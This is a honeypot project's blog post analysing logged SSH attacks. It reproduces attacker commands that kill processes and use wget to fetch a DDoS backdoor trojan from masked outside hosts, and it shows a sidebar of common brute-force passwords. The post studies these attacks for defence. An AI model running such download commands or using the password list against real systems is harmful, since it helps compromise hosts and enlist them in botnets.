Secure Honey

SSH honeypot written in C

Trojan Horse Uploaded

Friday 22nd November 2013 10:16

trojan horseLast week I implemented a basic shell CLI (command-line interface) emulator to the honeypot. The emulator isn't interactive since it doesn't respond to any commands. However, it does log all entered commands.

This week the honeypot has seen its first attack on the shell CLI emulator. As expected, once authorised (with the password "123456" and username "root"), the attacker tried to upload a trojan horse to the honeypot using the wget command.

The challenge for the upcoming weeks is to analyse the uploaded code to see what it actually does. More on that later.

Analysing the shell attacks

The first shell attack came in on Saturday 16th November 2013 at 14:00:23 and is shown below. I've masked the attackers IP address to keep identities anonymous.

date ip command
Sat 16 Nov 2013, 14:00:23 61.***.**.*** killall disknyp
Sat 16 Nov 2013, 14:00:24 61.***.**.*** killall disknop
Sat 16 Nov 2013, 14:00:25 61.***.**.*** rm -f disknyp
Sat 16 Nov 2013, 14:00:26 61.***.**.*** rm -f disknop
Sat 16 Nov 2013, 14:00:27 61.***.**.*** wget http://198.*.***.***:22/disknyp

The log shows that the attacker first enters the command killall disknyp at 14:00:23, followed by the command killall disknop at 14:00:24. As stated in the linux manual (man killall) the killall command: "is used to kill (i.e., terminate) all processes (i.e., running instances of programs) associated with programs whose names are provided to it as arguments".

So the attacker starts her attack by killing all processes named disknyp and disknop. The attacker then executes the commands rm -f disknyp and rm -f disknop. The rm command (linux man rm) is used to remove files or directories. The -f flag "does not prompt before removing a write-protected file. Does not display an error message or return error status if a specified file does not exist".

At this point the attacker has stopped all processes named disknyp and disknop and then removed the files named disknyp and disknop. Finally, at 14:00:27, the command wget http://198.*.***.***:22/disknyp is executed. The wget command (linux man wget) simply downloads a remote file. In this case the wget command is used to download the file located at http://198.*.***.***:22/disknyp (remember I've masked the IP address to keep identities anonymous).

So what is the file disknyp and what does it do? I Googled around and found an analysis of the file at malwr.com and virustotal.com. The analysis reveals that the file contains a virus, labelled by DrWeb as Linux.DDoS.1 and by F-Secure as Backdoor:Linux/DDoS.B.

According to Microsoft Protection Center, Backdoor:Linux/DDoS.B is summarised as: "...a backdoor trojan. A backdoor trojan provides remote, usually surreptitious, access to affected systems. A backdoor trojan may be used to conduct distributed denial of service (DDoS) attacks, or it may be used to install additional trojans or other forms of malicious software. For example, it might be used to install a downloader or dropper trojan, which may in turn install a proxy trojan used to relay spam or a keylogger trojan which monitors and sends keystrokes to remote attackers. It might also open ports on the affected system and thus potentially lead to further compromise by other attackers".

So the attacker tried to upload a trojan to the honeypot and that trojan would most likely be used to turn the honeypot into a bot (see What are Bots, Botnets and Zombies?).

What's most interesting about the attack is that it looks very much like an automated process (or script) entered the commands. When you look at the timings they're only seconds apart: 14:00:23, 14:00:24, 14:00:25, 14:00:26 and 14:00:27. Also, the exact same attack occurs again three and a half hours later:

date ip command
Sat 16 Nov 2013, 17:30:33 61.***.**.*** killall disknyp
Sat 16 Nov 2013, 17:30:34 61.***.**.*** killall disknop
Sat 16 Nov 2013, 17:30:35 61.***.**.*** rm -f disknyp
Sat 16 Nov 2013, 17:30:36 61.***.**.*** rm -f disknop
Sat 16 Nov 2013, 17:30:37 61.***.**.*** wget http://198.*.***.***:22/disknyp

So the attack looks like a script which is programmed to login to remote shells and execute the same command which uploads a trojan and, presumably, turns that host into a bot.

Another attack, from a different IP, came in on Monday 18th November 2013 at 19:08:56 and is shown below. Again, IP addresses have been masked to maintain anonymous identities.

date ip command
Mon 18 Nov 2013, 19:08:56 218.**.***.*** wget http://117.**.***.***:8080/zymoran
Mon 18 Nov 2013, 19:09:06 218.**.***.*** wget http://117.**.***.***:8080/zymoran
Mon 18 Nov 2013, 19:09:11 218.**.***.*** netuname -a
Mon 18 Nov 2013, 19:09:19 218.**.***.*** uname -a

What's intersting about this attack is that the timing look a little more human. The command wget http://117.**.***.***:8080/zymoran is entered at 19:08:56. At this point the attacker is presumably waiting for wget to fetch the remote file. Ten seconds later, at 19:09:06, the same command is entered again.

Presumably the attacker is a little confused at this point since the emulated shell CLI is currently not interactive: nothing is being printed to the attackers screen other than a prompt for the next command. So the attacker enters the command netuname -a which looks like a typeo. Finally the command uname -a is entered (linux man uname) which should print system information, for example:

Linux charles 3.2.0-41-generic-pae #66-Ubuntu SMP Thu Apr 25 03:50:20 UTC 2013 i686 i686 i386 GNU/Linux

However, the honeypot isn't currently interactive so the command doesn't return anything to the attacker. At this point, since the attacker isn't getting anything from the honeypot, she leaves.

Another interesting observation of the log files this week is that many attackers have been entering the correct username and password ("root" and "123456"). However, most of these attackers aren't requesting a pseudo-terminal (RFC 525, section 6.2. Requesting a Pseudo-Terminal). Instead, the attacker just disconnects.

The first shell attack I received on Saturday (described earlier in this post) used this exact tactic: the attacker used a brute-force attempt to find the correct username and password, didn't request a pseudo terminal and disconnected. Then later, they logged in (with a pseudo terminal request) and started the shell attack at 14:00:23.

I'm assuming that most login attempts on the honeypot are from automated scripts which brute-force SSH connections until they find a working username and password. These usernames and passwords are probably then logged for later attacks (as seen above).

Analysing malware

The next step I'm very curious about is determining what the uploaded malware actually does.

I've Googled around and found various resources which analyse some of the malware I've received. But to really find out what's going on I want to dynamically analyse the malware as it's executing.

This week I contacted Dr Lorenzo Cavallaro from the Information Security Group (Royal Holloway, University of London) to ask advice on how best to execute the uploaded malware in a safe environment in order to dynamically analyse it. A big thank you to Lorenzo for pointing me in the right direction of the tools: Cuckoo, Honeywall and Sebek :) I shall be exploring them this week.

I also attended a fascinating lecture on Wednesday evening presented by Dr Lorenzo Cavallaro at the Royal Holloway, University of London campus entitled "Malicious Software: should we care?".

In the talk, Lorenzo outlined research on the Torpig botnet (Researchers hijack control of Torpig botnet): the research used a technique known as sinkholing by reverse engineering the DGA (domain generation algorithm) of Torpig (used for domain flux).

As a result: the research team were able to see inside the Torpig botnet and collect information from its various attacks. The research paper entitled "Your Botnet is My Botnet: Analysis of a Botnet Takeover" can be viewed here. Fascinating research which has inspired me.

This past week I've also been engrossed in the book "Hacking: The Art of Exploitation" by Jon Erickson. The book introduces the term "hacking" and "uses practical examples to illustrate the most common computer security issues in three related fields: programming, networking and cryptography". The book has been incredibly insightful to explore how C code is compiled along with it's architecture (which relates to the Compilers and Computer Architecture module I took last year at uni) and where vulnerabilities can be found - very useful for this project.

Image credit: "W1K - Bronze Horse - Bronze Age Trojan Horse (2011)" by vintagedept, flickr.com/photos/vintagedept/9501085229

Comments

Gareth

Tue, 03 Dec 2013 15:44:44 +0000

Hey - we are also analysing this particular binary after a similar intrustion! Seems to be a botnet, connects back to source and waits for cmds!

Simon Bell

Wed, 04 Dec 2013 15:29:37 +0000

Hi Gareth, thanks for mentioning your similar intrusion. Could you share some more information about the intrusion you've experienced and your analysis?

John

Sun, 15 Dec 2013 14:26:58 +0000

Why are you masking their identity?

Simon Bell

Sun, 15 Dec 2013 16:54:10 +0000

Hi John, thanks for the question. I'm masking the attackers identities to ensure the project complies with the BCS Code of Conduct section 1: Public Interest and the Data Protection Act 1998, as discussed in the interim report (see publications).

futex

Sat, 28 Dec 2013 11:53:12 +0000

Hello, i have made a basic reverse of this malware, you can look at http://remchp.com/blog/?p=52

Simon Bell

Wed, 08 Jan 2014 10:00:59 +0000

Hi futex, thanks for sharing your reverse engineering of the malware.

Add Comment

Name

Email (won't be displayed)

Website (optional)

Comments

Live Stats (see full stats)

Attempted logins

date range # attempts
today393
yesterday194
past 7 days4,426
past 30 days17,357
all time4,114,040

Top 5 passwords

password # attempts
12345618,562
admin8,503
password6,536
-6,393
root4,833

Top 5 usernames

username # attempts
root3,927,129
admin78,772
test4,046
oracle3,356
nagios2,648

Stats represent data collected from SSH login attempts on multiple honeypots. Parts of some stats may be filtered to maintain anonymity.

Updated: Tue, 07 Jun 2016 16:33:48 +0000

Live Password Cloud

12qwaszx 963852741 1234%^ POIUYT 12344321 zxcvbn 111 zaqxsw 888888 111111 asdfghjkl a123456 windows qwer1234 q1w2e3 Passw0rd zxcv support 1111 server iloveyou welcome123 user !@ abcdef a cisco 123abc qwer qwerty123 q123456 manager 54321 alpine qq123456 huawei 11223344 password zaqxswcde qazwsx default 1 qwe123 test okokok 88888888 ubnt dragon 159753 147852369 12345678 passwd qwertyuiop 23456 power qwaszx huawei123 changeme123 123123123 5201314 Aa123456 qwe 1qazxsw2 nagios redhat zaqxswcdevfr q1w2e3r4 1234qwer 1qaz2wsx3edc monitor 12345 pass root1234 password123 123qweasd 000000 z1x2c3v4 qaz qazwsx123 f**kyou admin123!@# Pass123 121212 p@ssword 1a2s3d4f 1qaz2wsx Admin123456 woaini zaq1xsw2 linux adminadmin _ system 1qaz@WSX P@ssw0rd1 sapp a1b2c3d4 654321 qazwsxedc 1234 sqlpp qazxsw asdf sysadmin qqpp abc123 idc2008 123123 666666 123456 123qwe 987654321 admin123 admin@123 zhang 789789 11111111 idcidc qwerty123456 secret Huawei@123 !@#$%^ changeme 1q2w3e 147258369 superman 147258 admin1 mnbvcxz admin welcome 225588 !qaz1QAZ 123 p0o9i8u7 apple aaa !QAZ2wsx administrator zzzzzz oracle qwerty china 0000 rootpass 7890pp letmein abcd1234 1122334455 raspberry abc1234 a1s2d3f4 rootroot P@ssw0rd qwert public adminpp 1q2w3e4r5t root 1234567890 qweasd guest asdfgh test123 zxcvbnm caonima - !QAZ@WSX 112233 147147 123654 q1w2e3r4t5 1234567 1q2w3e4r password1 root123 123456789 12345qwert qweasdzxc 110110 159357